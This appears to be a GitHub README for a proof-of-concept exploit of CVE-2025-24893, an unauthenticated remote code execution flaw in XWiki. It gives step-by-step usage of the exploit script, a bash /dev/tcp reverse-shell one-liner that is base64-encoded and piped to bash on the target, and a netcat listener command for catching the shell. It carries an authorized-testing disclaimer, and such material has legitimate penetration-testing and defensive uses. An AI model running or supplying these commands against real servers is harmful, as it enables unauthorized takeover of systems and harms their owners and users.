dhiaznaidi/cve-2025-24893-pocProof-of-concept exploit for CVE-2025-24893 enabling unauthenticated remote code execution on XWiki with arbitrary shell commands and reverse shell injection via Python.
An updated proof-of-concept (PoC) exploit for CVE-2025-24893, a critical unauthenticated RCE vulnerability in XWiki. This version improves on the original by allowing arbitrary shell command execution and clean reverse shell injection.
By: HexHunter404
This code is provided for educational and authorized penetration testing purposes only.
Do not use it on systems you do not own or have explicit permission to test.
bash -c '<command>'/xwiki path and avoids redirect loopspython3 CVE-2025-24893-PoC.py -u http://<target>/xwiki -c "<command>"
. Base64-encode your reverse shell
echo "bash -i >& /dev/tcp/[IP]/4444 0>&1" | base64
. Send it using the PoC
python3 CVE-2025-24893-PoC.py -u [URL] -c "echo [Base64 Payload] | base64 -d | bash"
. Set up your listener
nc -lvnp 4444
If successful, you'll catch a shell